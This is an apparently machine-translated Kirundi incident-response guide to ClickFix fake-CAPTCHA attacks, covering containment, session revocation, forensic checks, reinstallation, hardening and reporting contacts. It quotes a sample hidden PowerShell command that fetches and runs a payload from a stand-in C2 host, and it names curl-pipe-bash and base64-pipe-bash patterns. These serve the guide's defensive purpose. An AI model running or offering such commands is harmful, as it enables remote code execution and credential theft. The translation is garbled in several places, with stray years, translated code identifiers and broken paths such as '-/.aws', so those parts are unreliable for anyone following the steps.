Igikoresho c'ubuhendanyi c'amajambo y'ikinyoma 'ClickFix': Kubera iki gukanda Win+R na Ctrl+V bituma habaho porogarama mbi y'ubusuma bw'amakuru¶

Niba gusa ukanda kuri buto ya "Sindi robo" canke "Suzuma ko uri umuntu" ku rubuga (canke ukabona ikosa ry'ikinyoma rya Cloudflare Turnstile, Google Meet, Zoom, canke ikosa ryo guhindura umucukumbuzi) ryagutegetse gukanda Windows + R (canke gufungura Ikibanza ca macOS), kanda Ctrl + V (Cmd + V), hanyuma ukabita Enter, mudasobwa yawe iherutse gukora umuzigo w'ibintu bibi - kenshi na kenshi ni Lumma Stealer, Vidar, StealC, RedLine, canke Atomic macOS Stealer (AMOS) amakuru-wiba. Nta CAPTCHA yemewe, igenzura rya Cloudflare, canke igikoresho co gukorana n’amasanamu kw’isi kizokwigera gisaba umuntu gufungura ikiganiro ca Windows Run (Win + R), Igikoresho ca Windows, Igikoresho co Gutanga Amategeko, canke Igikoresho ca macOS hanyuma ugashiramwo itegeko. Igihe wafyonda ku gasandugu k'ibinyoma "Suzuma" kuri iyo paji y'urubuga, JavaScript mbi (navigator.clipboard.writeText()) yakopiye mu gacerere PowerShell yihishije, mshta.exe, rundll32, canke curl | bash itegeko ku rubaho rwawe. Mu masegonda 3 gushika kuri 6 yo gukanda Enter, iyo nyandiko yarakuyeko ikintu co mu bwenge co gufungura no gukuraho ijambobanga ryose ryabitswe, ikarita y’inguzanyo yiyuzuza, ububiko bw’amahera y’ibanga (MetaMask, Phantom, Rabby), ikimenyetso ca Discord/Telegram, n’ikimenyetso c’ibanga ry’igihe** ryinjiye muri Chrome, Edge, Brave, na Firefox - bituma abatera bashobora kwiba konti yawe ya Gmail, Microsoft 365, banki, n’iy’ishirahamwe batakeneye ijambobanga ryawe canke Ivyemezo vy’Ibintu Bibiri (2FA). Kugira ngo ushobore gukosora neza ibihe vy'umucukumbuzi vyanyazwe, raba kandi kwiba amakuru y'ibanga, porogaramu mbi y'infostealer, no gukuraho urufunguzo rw'ibanga; niba umaze kubona amahera asohoka mu gikapu co kwizigama, uce usimbuka ubwo nyene uja kuri cryptocurrency igikapu c'amazi n'imbuto y'amajambo yo gusenyera ku mugozi umwe; canke nimba umubeshi yakuvugishije ngo ushiremwo AnyDesk canke ScreenConnect, raba . ubuhinga bwo gufasha ubuhendanyi n'ugukuraho biro vya kure. Nimba iyo ndwara yaje ku kibanza c’akazi c’ibitaro, ku rubuga rwa komine, canke bikaba birimwo gufata amahera y’ubuzima, hamagara inomero y’ivyihutirwa yo mu karere kawe (911 muri Leta Zunze Ubumwe za Amerika no muri Kanada, 112 mu bihugu vyose vy’Ubumwe bw’Uburaya, 999 mu Bwongereza) canke urabe ububiko bwacu bwa . inomero z'ivyihutirwa.

Ivyo ubikore ubu¶

1. Kura umugozi wawe wa Ethernet canke uzime Wi-Fi kuri mudasobwa yanduye mu masegonda 5: Abasuma b'amakuru nka Lumma Stealer gupakira umucukumbuzi wawe SQLite amakuru (Login Data, Cookies, Network/Cookies, Web Data) mu .zip ububiko muri %TEMP% maze ukayishira ku Itegeko-n'Igenzura (C2) server, hanyuma kenshi ugakoresha Trojan ya kabiri y’Ugushikira Kure (RAT), SOCKS5 umuserukira w’uburaro, canke umuserukira w’incungu. Guca uruja n’uruza rwa internet bihagarika ibikorwa vy’ubuhinga bwa none n’ugucapura kw’ibarabara/ugutera urufunguzo ubwo nyene.
2. NTUKORESHE mudasobwa yanduye kugira ngo uhindure amajambo y’ibanga yawe - fata telefone ngendanwa isukuye (ku makuru y’amatelefone ngendanwa) canke mudasobwa itanduye ubu nyene: Nimba umuntu aguma akora keylogger, clipboard hijacker, canke HVNC (Hidden Virtual Network Computing) module iriko irakora muri RAM kuri PC yanduye, kwandika amajambo y’ibanga yawe mashasha kuri iyo PC nyene bica bisubiza amakuru mashasha ku muntu yaguteye.
3. Uvuye kuri telefone yawe isukuye, kanda "Sohoka mu bikoresho vyose / Kuraho ibihe vyose bikora" kuri email yawe ya mbere (Gmail / Microsoft 365 / Yahoo), umuyobozi w'ijambobanga, n'akazi SSO (Okta / Entra ID) ICA MBERE:
4. Kubera iki guhindura ijambobanga ryawe gusa BITAHAGIJE: Abasuma b'amakuru biba amakuru yawe y'igihe co kwemeza (SAPISID, SID, ESTSAUTH, .ROBLOSECURITY, li_at). Ku mbuga nyinshi, cookie y’igihe coherezwa hanze iguma ikora imisi canke amayinga kiretse ukanda mu buryo butomoye Sohoka mu biganiro vyose / Gukuraho ibimenyetso KANDI uhindure ijambobanga ryawe.
5. Google / Gmail: Sura myaccount.google.com/device-activity -> hitamwo igice cose c'ibiro -> kanda Sohoka, hanyuma uhindure ijambobanga ryawe rya Google maze usuzume Settings -> Forwarding and POP/IMAP ku mategeko yo gutanga amakuru mu gacerere.
6. Microsoft / Imbonerahamwe / Indangamuntu y'Injira: Sura mysignins.microsoft.com/security-info -> ukande Sohoka hose, hanyuma usubiremwo ijambobanga ryawe.
7. Nimba wari ufise amafaranga y'ibanga (MetaMask, Phantom, Coinbase Wallet, Trust Wallet, Exodus, Electrum) kuri iyo mudasobwa, ushire amahera yose mu majambo mashasha y’imbuto ku gikoresho gisukuye ubwo nyene:
8. Lumma Stealer na AMOS Kopa ivyashizwemwo Local Extension Settings IndexedDB/LevelDB vault dosiye zivuye kuri Chrome/Brave/Edge zija kuri server y’umuterabwoba, aho amatsinda ya GPU akoresha inguvu z’ububisha ku bijanye n’ugufungura ijambobanga ryawe ryo mu karere (canke usome ijambobanga ry’imbuto rivuye kuri RAM iyo rifunguwe). Niwiyumvire ko ijambo ryose ry’imbuto n’urufunguzo rw’ibanga ryari ryabitswe kuri iyo PC ryari ryinjijwe 100 kw’ijana.
9. Imbere yo guhanagura PC, zigama itegeko nyaryo washizeko kugira umenye ivyo vyakozwe:
10. Kuri Windows, fungura Notepad (igihe ukiri ku rubuga) hanyuma ukande Ctrl + V kugira ngo ushireko ikintu cose kikiri mu gicapo cawe, canke ukande Windows + R hanyuma ukande ku mwampi umanuka kugira ngo usome Ivyakoreshejwe vuba cane (MRU) Gukoresha amateka yabitswe muri HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU. Fata ifoto y’iryo tegeko na telefone yawe kugira ngo ubone inyishu y’ivyabaye.
11. Kora ubuhinga bwo gukoresha USB busukuye bwo gusubira gushiramwo (canke guhanagura ubuhinga bwose butari mu murongo) aho kwizigira ubuhinga bwo gupima antivirus bwihuta: Modern ClickFix imizigo ikoresha Windows yashizweko umukono wemewe (Living-off-the-Land Binaries canke LOLBins nka mshta.exe, powershell.exe, certutil.exe, regsvr32.exe, na AutoIt3.exe) zitera mu nzira zibereye (explorer.exe, svchost.exe) kandi kenshi wongerako ibintu bitari muri Windows Defender (Add-MpPreference -ExclusionPath).

Igiti c'ingingo: guhagarika ubwo nyene no gukira inyuma ya ClickFix Win+R canke Igikoresho co gufatanya¶

Kurikiza iki giti c'ingingo igihe uzobona ko washize itegeko muri Win + R, Igikoresho ca Windows, canke Igikoresho ca macOS:

flowchart TD
    Start["Yashizeho Itegeko ry'Ikinyoma / Gukosora Ikosa muri Win+R, PowerShell, canke Igikoresho ca macOS"] --> Disconnect["INTAMBWE YA 1 (0 gushika ku masegonda 10): Kura Ethernet & Uzime Wi-Fi kuri mudasobwa yanduye ubwo nyene"]

    Disconnect --> CryptoCheck{"Mbega Iyi Mudasobwa Yari Ifise Amafaranga y’Ivyuma (MetaMask, Phantom, Exodus, Ledger Live, Imfunguruzo Zabitswe)?"}

    CryptoCheck -->|"Ego"| EvacCrypto["INTAMBWE YA 2 (IHUTA): Ku Telefone/Igikapu c'Ibikoresho Gisukuye, Ushireho Ijambo RY'Imbuto NSHASHA maze Ushire Ibintu Vyose Hanze Ubwo nyene"]
    CryptoCheck -->|"Oya"| CleanDevice["INTAMBWE YA 2: Hindura telefone ngendanwa isukuye (amakuru yo mu ntoke) canke igikoresho kitanduye"]

    EvacCrypto --> CleanDevice

    CleanDevice --> RevokeSessions["INTAMBWE YA 3: Gukuraho Ivyigwa vyo ku Ruhande rwa Server & Hindukiza Amajambobanga mu Rutonde rw'Imbere"]

    RevokeSessions --> P1["1. Imeyili y'ibanze (Gmail / M365 / Proton): Kwica Ivyigwa Vyose Bikora, Gusubiramwo Ijambobanga, Suzuma Amategeko Yo Gurungika"]
    P1 --> P2["2. Akazi / SSO y'Ishirahamwe (Okta / Entra ID / VPN / AWS / GitHub / SSH Imfunguruzo): Menyesha SOC y'Ishirahamwe Ubwo nyene nimba Konti z'Akazi Zari Zarinjiye"]
    P2 --> P3["3. Ivy’amahera, amabanki, PayPal, Stripe, Amazon, Steam, Discord, n’Ivy’Imbuga ngurukanabumenyi"]

    P3 --> InspectPayload["INTAMBWE YA 4 (Itari ku rubuga kuri PC yanduye): Suzuma RunMRU Registry & PowerShell ID y'Ibikorwa 4104 kugira ngo umenye Payload"]

    InspectPayload --> WipeChoice{"Mbega Iyi Ni Iherezo ry’Ishirahamwe canke Mudasobwa y’Umuntu ku giti ciwe?"}
    WipeChoice -->|"Ishirahamwe / BYOD n'Ugushikira Akazi"| CorpIR["Imashini y'amaboko itari ku murongo ku mutekano w'ubuhinga bwa none / SOC ku bijanye n'ugutoranya ivy'ubuhinga bwa EDR no gusubiramwo ishusho ya BitLocker"]
    WipeChoice -->|"Idirisha ry'umuntu ku giti ciwe / Mac"| CleanInstall["Gusubiza inyuma inyandiko zisanzwe gusa (Nta .exe/.bat/.dmg) -> Gufungura USB isukuye -> Gukuraho imigabane no gusubira gushiramwo OS"]

Icigwa ca 1: Ubuhinga bw'igitero ca "ClickFix" - Uko urubuga rufata Win + R¶

Gutahura ivyabaye imbere muri operating system yawe muri ayo masegonda 5 birasigura igituma amadosiye amwe amwe n’amakonti amwe amwe ari mu kaga ubwo nyene mu gihe ayandi atari mu kaga.

1. Ivyo bikwegakwega 3 vy’ubuhinga bw’imibano bikoreshwa mu masekeza ya ClickFix¶

Abatera bakwiragiza ClickFix overlays mu kwamamaza nabi (ibisubizo vy’ubushakashatsi biterwa inkunga), imbuga za WordPress zari ziteye akaga, porogaramu/inzira z’ubuhinga bwa none, ububiko bwa GitHub bw’ibinyoma, n’imeli z’ubuhendanyi: 1. Igicu c'ikinyoma / Agasanduku ka Google reCAPTCHA ("Suzuma ko uri umuntu"): Ukanda ku gasandugu kavuga ngo "Sindi robo". Aho gushiramwo ikimenyetso c'icatsi kibisi, hazoboneka ikindi kintu kivuga ngo: "Imiduga idasanzwe yabonetse. Kugira ngo umenye neza ko uri umuntu, wuzuze izi ntambwe 3: 1. Kanda Windows + R ku klavye yawe. 2. Kanda Ctrl + V. 3. Kanda Enter." 2. Ikosa ry'Ikinyoma rya Chrome / Edge Font canke ry'Ivugurura ("Hari ikintu cagenda nabi mu kugaragaza uru rubuga"): Inyuma y'urubuga igaragara neza ipfutse urubuga n'ikiganiro ca Chrome kivuga ko icemezo c'umuzi kibuze canke ivugurura ry'inyandiko bisaba ko ufungura Windows PowerShell / Terminal maze ugashiramwo "inyandiko yemewe yo gukosora." 3. Ikosa ry'Ikinyoma / Ihuriro rya Google / Mikoro canke Ikosa ry'Imigwi ya Microsoft: Irungitswe biciye ku butumire ku bibazo vy'akazi vy'ibinyoma canke amahuza y'amakoraniro y'abaguzi, iyo paji yerekana igicapo ca videwo kizunguruka kandi isaba abakoresha macOS na Windows gufungura Terminal bagashiramwo itegeko rya "driver reset".

2. Kubera iki iryo tegeko ryasa n’iritagira akamaro mu 1914. Win + R akazu¶

Ivyo Windows + R (Run) akazu k'inyandiko y'ikiganiro ni inyuguti 259 gusa zigaragara (MAX_PATH UI input field), kandi yerekana gusa iherezo ry'urudodo rwashizweho inyuma y'aho urudome rwawe rusimbukiye iburyo. Abatera bakoresha uku gucapura kw'amashusho mu gushiramwo itegeko ryabo ribi n'ibibanza canke bakariheza n'amajambo y'ikinyoma:

powershell.exe -w hidden -nop -c "iex(iwr 'https://malicious-c2.example/payload.txt' -UseBasicParsing)" # Cloudflare Human Verification ID: 849201 - Press Enter to Confirm

3. Ni igiki nyaco Lumma Stealer, StealC, na AMOS kwiba mu masegonda 4¶

Icigwa ca 2: Gufunga konti no gukuraho igihe (Iminota 1 gushika kuri 30 - Ku gikoresho gisukuye)¶

Mu gihe PC yanduye iguma idakorana na internet, koresha telefone ngendanwa isukuye canke mudasobwa ya kabiri kugira ngo ukore iyo nzira nyayo yo gukingira.

Intambwe ya 1: Funga amakonti yawe ya Email (Gmail, Microsoft 365 / Outlook, Yahoo, Apple iCloud)¶

Ku buri konti ya imeyili yinjijwe mu mucukumbuzi uwo ari wo wose (Default, Profile 1, Work) kuri iyo mudasobwa: 1. Guhagarika ibikorwa vyose vy'igikoresho gikora: - Google / Gmail: Genda kuri myaccount.google.com/device-activity -> uhitemwo igikoresho ca Windows/Mac canduye (n'ibihe vyose utamenyereye) -> ukande Sohoka. Sura kandi myaccount.google.com/connections kandi ugakuraho porogaramu za OAuth z'uwundi muntu zikekwa. - Microsoft (Umuntu n'Umurimo M365): Genda kuri account.live.com/proofs/Manage (umuntu ku giti ciwe) canke mysignins.microsoft.com/security-info (akazi) -> ukande Sohoka hose. 2. Hindura ijambobanga rya email ribe ijambobanga rishasha, ridasanzwe ribitswe gusa ku gikoresho cawe gisukuye. 3. Igenzura ry'amategeko y'agasanduku k'inyandiko, amayunguruzo, n'ugurungika ubwo nyene: Abakoresha amakuru-biba bakoresha inyandiko zikora zija mu makuru ya Gmail/Outlook yibwe mu minota mikeyi inyuma y'aho umuntu arwaye maze agakora akayunguruzo kanyegeje: *Nimba ubutumwa burimwo "Umutekano", "Kode", "Coinbase", "Binance", "Bank", canke "Steam" -> Shira ikimenyetso nk'Isomye, Urungike FeRS/Ugukurikirana. - Muri Gmail: Gufungura imbonerahamwe y'ibiro -> Settings (gear icon) -> See all settings -> Filters and Blocked Addresses KANDI Forwarding and POP/IMAP. Gukuraho akayunguruzo kose katazwi canke aderesi yo gurungika ubwo nyene. - Mu mbonerahamwe / M365: Gufungura Settings -> Mail -> Rules KANDI Mail -> Forwarding KANDI Mail -> Junk email (suzuma ababirungitse kugira ngo umenye neza ko uwuteye atabujije no-reply@accounts.google.com canke banki yawe).

Intambwe ya 2: Gufunga abarongozi b'ijambobanga (Bitwarden, 1Password, Dashlane, KeePass, iCloud Keychain)¶

• Wabitse amajambobanga yawe muri Chrome / Edge / Brave yubatswemwo umucungerezi w'amajambobanga? Ijambobanga ryose ryabitswe muri Chrome, Edge, Brave, Opera, canke Firefox (kiretse Firefox yari ifise ijambobanga ry’ibanze ry’abantu) ryarungitswe hanze mu nyandiko rusangi n’uwuyiba amakuru. Utegerezwa gufata 100 kw’ijana vy’amajambobanga abitswe mu mucukumbuzi w’ijambobanga ryubatswemwo, email, n’amakonti y’akazi.
• Wakoresheje umucungerezi w'ijambobanga (1Password, Bitwarden, Proton Pass, Keeper)?
• Niba ububiko bwari bufunze mu gihe wakoresheje itegeko, ububiko bwawe bwari bukingiwe n'Ijambobanga ryawe / Urufunguzo rw'Ibanga.
• Niba ububiko bwari bufunguwe mu bubiko (canke nimba wanditse Ijambobanga ryawe ry'Ibanze umaze gukoresha itegeko), winjire mu bubiko bw'urubuga bw'umucungerezi w'ijambobanga ukoresheje telefone yawe isukuye, ukande Deauthorize all sessions (Bitwarden: Settings -> My Account -> Deauthorize Sessions), hindukiza Ijambobanga ryawe ry’Ishengero, kandi ushire imbere guhinduranya ivyemezo vy’agaciro kanini imbere mu nzu y’ububiko.

Intambwe ya 3: Gukuraho Ibimenyetso vy'Umuhinguzi, Ishirahamwe, n'Ibiganiro (GitHub, AWS, Discord, Telegram, Steam)¶

• Discord: Guhindura ijambobanga ryawe rya Discord bica bikuraho ikimenyetso cawe ca kera co kwemeza (leveldb ikimenyetso). Ubwo nyene uhindure ijambobanga ryawe rya Discord kuri telefone yawe, usuzume Settings -> Devices -> Sohoka mu bikoresho vyose bizwi, hanyuma usuzume Settings -> Authorized Apps na Settings -> Billing (kuraho amakarita y’inguzanyo/PayPal yazigamye).
• Itelegaramu: Kuri telefone yawe, fungura Telegram -> Settings -> Devices -> ushireko Guhagarika Ibindi Biganiro Vyose ubwo nyene (ivyo vyica ivyo vyose vyibwe tdata clone y'ububiko bw'ibiro).
• Steam: Kuri telefone yawe, fungura porogaramu ya Steam -> Steam Guard (shield icon) -> Gear icon -> Deauthorize all devices, hindura ijambobanga ryawe, maze usuzume ko ata rufunguzo rwa API rwanditswe kuri steamcommunity.com/dev/apikey (abahendanyi bandika urufunguzo rwa Steam Web API rw’ubuhendanyi kugira ngo bafate amashimwe y’ubudandaji).
• GitHub / GitLab / AWS / SSH: Niba uri umuhinga mu vy'amaporogarama canke umuyobozi w'amaporogarama, sura github.com/settings/sessions (gukuraho ibihe vy'umucukumbuzi), github.com/settings/keys (gukuraho imfunguruzo za SSH zibitswe kuri iyo PC), github.com/settings/tokens (gukuraho Ibimenyetso vy'Ukwinjira kw'Umuntu), hanyuma uhindure -/.aws/credentials IAM imfunguruzo muri AWS IAM konsole ubwo nyene. Raba uburongozi bwacu bwihariye kuri uruhererekane rw'ibikoresho npm/PyPI gusenyera ku mugozi umwe n'uguhinduranya urufunguzo rw'aho umuhinguzi akora.

Icigwa ca 3: Gusuzuma ivy'amategeko ata murongo - Kumenya neza ivyo vyakoze kuri PC yawe¶

Imbere y’uko uhanagura no gusubira gushiramwo orodinateri yanduye (canke igihe uriko urategura raporo y’umugwi wawe w’abajejwe umutekano), urashobora gusuzuma ata nkomanzi ivyo . ClickFix itegeko ryakoze mu gihe imashini 100% idakora (Wi-Fi irazimye, Ethernet iratakora).

1. Gusuzuma amadirisho Win + R Amateka n'Inyandiko za PowerShell¶

1. Suzuma uko Windows ikora (Win + R) Igitabo c'Ivyanditswe MRU (Most Recently Used) urutonde: Gufungura regedit.exe canke idirisha rya PowerShell ritari mu murongo maze ukoreshe:

   Get-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU"
   

   Itegeko ryose ryarigeze kwandikwa canke gushirwa muri Win + R ni ibitswe hano munsi y'ibintu a, b, c, n’ibindi Raba itegeko ryanditswe kw’ikete ryerekanwa ubwa mbere mu 1999. MRUList.
2. Suzuma PowerShell inyandiko y'Ivyabaye (Indangamuntu y'Ivyabaye 4104: Naho uwo mutera yoba yakoresheje . -WindowStyle Hidden (-w h) na Base64 gushiramwo amakuru (-EncodedCommand / -e), Windows ihita ifungura kandi ikandika inyandiko za PowerShell zikekwa muri Igikoresho co kuraba ivyabaye:
3. Kanda Win + X -> Umubonezi w'ivyabaye -> genda kuri Applications and Services Logs -> Microsoft -> Windows -> PowerShell -> Operational.
4. Akayunguruzo k'Ivyabaye ID 4104 (Execute a Remote Command). Uzobona inyandiko nyayo ya PowerShell, URL yakuwemwo, n'ububiko buri muri %TEMP%, %AppData%, canke %LocalAppData% aho yamanuye umuzigo wayo wa kabiri w’inyungu.
5. Suzuma aho ugushikama kwashizwe kuri Windows: Abasuma b'amakuru n'inyandiko zabo (NetSupport Manager RAT, Amadey, SectopRAT, AsyncRAT) gushinga ubuzima bwo gusubira gutangura mu bibanza bine:

   # 1. Registry Run / RunOnce keys:
   Get-ItemProperty "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"
   Get-ItemProperty "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run"
   
   # 2. Startup Folder shortcuts (.lnk / .vbs / .bat):
   Get-ChildItem "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup" -Force
   
   # 3. Recently created Scheduled Tasks:
   Get-ScheduledTask | Where-Object {$_.Author -ne "Microsoft Corporation"} | Select-Object TaskName, TaskPath, State
   
   # 4. Windows Defender Exclusions added by the malware:
   Get-MpPreference | Select-Object -ExpandProperty ExclusionPath
   Get-MpPreference | Select-Object -ExpandProperty ExclusionProcess
   

   (Niwabona C:\, C:\Users, %AppData%, canke .exe yongewe munsi ExclusionPath canke ExclusionProcess, iyo porogarama mbi yahumye mu buryo butomoye Microsoft Defender iri ku mashini yawe.)

2. Gusuzuma macOS inyuma y’ugukanda kw’Ikibanza (Atomic macOS Stealer / AMOS canke Poseidon)¶

Kuri macOS, amapaji ya ClickFix abwira uwukoresha gufungura Ikibanza (Cmd + Space -> Terminal) hanyuma ushire itegeko rya base64 nk'iryo echo "..." | base64 -d | bash. 1. Igihe utari kuri interineti, suzuma amateka yawe y'igikoko (cat -/.zsh_history | tail -n 30 canke cat -/.bash_history). 2. Suzuma nimba porogaramu mbi yashizeho LaunchAgent:

ls -la ~/Library/LaunchAgents /Library/LaunchAgents /Library/LaunchDaemons

Icigwa ca 4: Gusukura - Kubera iki ukwiye guhanagura no gusubira gushiramwo (canke gukoresha ubutabazi butari mu murongo)¶

Ibiro vy'umutekano (CISA, FBI, NCSC) n’uguhanura cane guhanagura no gusubira gushiramwo ubuhinga bwo gukoresha kuri USB isukuye inyuma y’aho umuntu yivye amakuru canke LOLBin n'ugushirwa mu ngiro, kubera ko abashiramwo ibintu kenshi bashiramwo shellcode mu bikoresho vy'ubuhinga vyemewe, bagashiramwo abashoferi ba rootkit/proxy, canke bagasiga inzugi z'inyuma zidakora (NetSupport RAT / Cobalt Strike).

Intambwe ku yindi gusukura gusubiramwo no gucungera dosiye itekanye¶

1. Igihe PC yanduye ikiri kure y'umurongo, ushire ububiko bw'amadosiye y'amakuru meza GUSA: Kopa gusa inyandiko z'umuntu ku giti ciwe, amafoto, urupapuro rwo guharura, na kode y'inkomoko (.pdf, .jpg, .docx, .xlsx, .mp4, .txt) ku gikoresho co hanze ca USB. Ntukigere usubira inyuma .exe, .msi, .bat, .ps1, .vbs, .js, .lnk, .dmg, .pkg, canke umucukumbuzi User Data amadosiye y'umwirondoro.
2. Kuri mudasobwa ya KABIRI, isukuye, rema USB yo kurema amakuru ya Windows 11 (microsoft.com/software-download/windows11) canke macOS Gusubirana ibidukikije.
3. Ufungure ukoresheje USB isukuye, ushiremwo ibice vyose biriho kuri SSD y’ugufungura (ni co gituma igice ca EFI System Partition, MSR, n’igice ca OS ca mbere bishasha), hanyuma ushiremwo kopi isukuye y’igikoresho co gukoresha.
4. Nimba udashobora guhanagura imashini ubwo nyene:
5. Kuraho ibintu vyose vy'Umuvugizi (Remove-MpPreference -ExclusionPath ...).
6. Gufungura mu Uburyo butekanye bwa Windows n'urubuga rwazimye (canke gufungura kuri Disiki y'Ubutabazi ya Kaspersky / ESET SysRescue Live USB), hanyuma ukoreshe ubuhinga bwo gupima bushitse ukoresheje Microsoft Defender Offline (Start-MpWDOScan), Malwarebytes, na Igikoresho co gupima kuri interineti ca ESET, wongereko gusuzuma ivyinjijwe vyose muri Ibikorwa vy'imbere mu mubiri (autoruns64.exe) na Hisha Ivyinjira vya Microsoft bitagenzuwe.

Icigwa ca 5: Gukomeza Windows na macOS kugira ClickFix ntizosubire kubaho¶

• Hisha canke uzimye Windows + R (Run) ikiganiro c'abagize umuryango batari abahinga canke abakoresha b'ishirahamwe biciye ku ngingo ngenderwako y'umugwi / Igitabu: Gutegura NoRun = 1 (DWORD) munsi ya HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer guhagarika burundu Windows + R inzira ngufi ya klavye. Kubera ko 95 kw’ijana vy’ibitero vya ClickFix bishingiye ku gukanda kw’uwukoresha . Win + R, guhagarika ikiganiro Run bihagarika igitero gikomeye imbere y'uko umukoresha ashobora gushiramwo ikintu cose.
• Hindura ihuriro rya dosiye mburabuzi ku .hta, .vbs, .js, na .wsf inyandiko kuri notepad.exe: guhagarika mshta.exe na wscript.exe biciye ku kugabanya uburebure bw'igitero ca Windows (ASR) amategeko canke gufatanya .hta/.vbs/.js na Notepad ibuza inyandiko gukora.
• Kuvugurura amakonti ahambaye ku bikoresho vy'ubuhinga (FIDO2 / WebAuthn Imfunguruzo z'umutekano nka YubiKey): Naho abasuma b'amakuru bashobora kwiba amakuru y'ikiringo mu mucukumbuzi inyuma yo kwinjira, imfunguruzo z'umutekano w'ibikoresho (FIDO2) n’ubuzima bugufi bw’ibiganiro be n’Isuzuma ry’Ugushika ku Budasiba (CAE / Ivyemezo vy'Ikiganiro Biboshe n'Igikoresho DBSC) kubuza abatera gusubira kwemeza canke kwohereza hanze amakuru y’ivy’ukuri.
• Shiraho kwamamaza kwa mucukumbuzi n'ikibuza kwamamaza nabi (uBlock Origin / uBlock Origin Lite) kandi ushoboze Gushakisha mu Mutekano: Ivyiyumviro birenga 60 kw’ijana vy’indwara za ClickFix zikomoka ku kwamamaza kw’ubushakashatsi kwa Google/Bing kwigira nk’aho ari porogarama yemewe (Slack, Notion, OBS, Homebrew, WinSCP, TradingView) canke imbuga zo gucapura.

Inomero z'ivyihutirwa zo mu karere n'amategeko y'ibigo¶

Niba a Fyonda Gukosora / Lumma Stealer infection yatumye ivyemezo vy’amashirahamwe, uburyo bwo kwivuza, amakonte y’ivy’ubutunzi canke imihora ya leta ihungabana, uce utanga amakuru y’ivyo bintu ubwo nyene biciye ku nzira zizwi:

• Leta Zunze Ubumwe za Amerika na Canada:
• Ubuzima bwihutirwa-Umutekano / Ibikorwa remezo bihambaye: Hamagara 911 iyo infection ihungabanya uburyo bwo kuvura mu bitaro canke ibikorwa vyo gucungera umutekano wa bose.
• Ikigo ca FBI kijejwe gutanga ikirego c'ubugizi bwa nabi ku mbuga ngurukanabumenyi (IC3) (US): Ushiremwo raporo ubwo nyene kuri ic3.gov (na cane cane iyo amafaranga y’ibanga, amabarabara ya banki, canke Imeli y’Ubucuruzi y’Ishirahamwe vyavuye ku makuru y’ikiringo yibwe).
• Ikigo kijejwe umutekano wo kuri internet n'ibikorwa remezo (CISA) (US): Ishirahamwe n'amashirahamwe y'ibikorwa remezo bihambaye bikwiye kumenyesha 1-844-Say-CISA (1-844-729-2472) canke cisa.gov/report.
• Ikigo co muri Canada kirwanya ubusuma (CAFC) & Ikigo ca Internet: Hamagara 1-888-495-8501 canke raporo kuri cyber.gc.ca.
• Ubwami bw'Ubwongereza:
• Ibikorwa vyihutirwa: Hamagara 999 (canke 101 ku bapolisi batagira ivyihutirwa).
• Ubuhendanyi bw'Ibikorwa & NCSC: Gutanga raporo y'ubugizi bwa nabi bwo kuri internet n'amahera yibwe Ubuhendanyi bw'Ibikorwa (0300 123 2040 / actionfraud.police.uk). Niba amakuru y’abaguzi b’ishirahamwe canke ivyemezo vy’uburenganzira vyari vyarashizwe hanze, suzuma itegeko amasaha 72 y’itangazo ry’Ubwongereza GDPR ku ICO (0303 123 1113).
• Ubumwe bw'Uburayi:
• Ibikorwa vyihutirwa: Hamagara 112 mu bihugu vyose bigize Umuryango w’Ubumwe bw’Uburayi.
• Ingingo ya 33 ya GDPR & NIS2 CSIRT Raporo: Kubera ko Lumma Stealer gukuraho umucukumbuzi wose Login Data, Cookies, n’ububiko bwo kwuzuza, laptop iyo ari yo yose y’ishirahamwe yanduye yari ifise amakuru y’ibanga y’umukozi canke y’umukiriya, ni ukurenga ku makuru y’ibanga kwemejwe, bisaba isuzuma kugira ngo amasaha 72 amenyeshejwe Ikigo c’igihugu cawe kijejwe gukingira amakuru (DPA).
• Ostraliya na Nouvelle-Zélande:
• Ibikorwa vyihutirwa: Hamagara 000 muri Australiya canke 111 muri Nouvelle-Zélande.
• Ikigo ca Australiya kijejwe umutekano wo kuri internet (ACSC / Raporo ya Cyber): Hamagara 1300 CYBER1 (1300 292 371) canke dosiye kuri cyber.gov.au (kandi uhamagare IDCARE kuri 1800 595 160 ku bijanye no gusubirana akaranga). Muri Nouvelle-Zélande, ushire raporo kuri CERT NZ (0800 237 869).
• Ubuhinde na Aziya-Pasifike:
• Igihugu c'Ubuhindi co gufasha ubugizi bwa nabi bwo kuri Internet & CERT-In: Hamagara 1930 ubwo nyene iyo habaye ubuhendanyi bw’amahera, ushire dosiye kuri cybercrime.gov.in, kandi umenyeshe CERT-In (incident@cert-in.org.in) mu masaha 6.

Ibibazo bikunda kubazwa¶

Ndafunguye Win + R kandi akanda Ctrl + V, rero icanditswe carabonetse mu gasandugu, ariko ndabona ko kimeze nk'igitutu maze nkanda "Cancel" NTAKANDA . Enter. Mbega ndanduye?¶

Oya, uratekanye rwose. Urubuga rw'umucukumbuzi rushobora gukopa umwandiko mu gicapo cawe hakoreshejwe JavaScript (umugendezi.urubaho.kwandikaIvyanditswe), no gukanda . Intsinzi + R hakurikijwe Gucungera + V gusa n'uwo murongo w'inyandiko mu gasandugu k'inyandiko ka Windows Run. Nta kintu na kimwe gikora gushika ukanda Injira canke ukande Sawa. Iyo ukanda Gukuraho canke yafunze Kwiruka akazu ataco ukanda Injira, nta tegeko ryatangujwe. Gusa gukuraho urupapuro rwawe mu gukopa ijambo ritagira akamaro nka ndagusavye mu Notepad maze ufunge uruzitiro rw’umucukumbuzi w’ububisha.

Kubera iki Windows Defender canke umugera wanje utazibira itegeko igihe nariko ndarishira muri . Win + R?¶

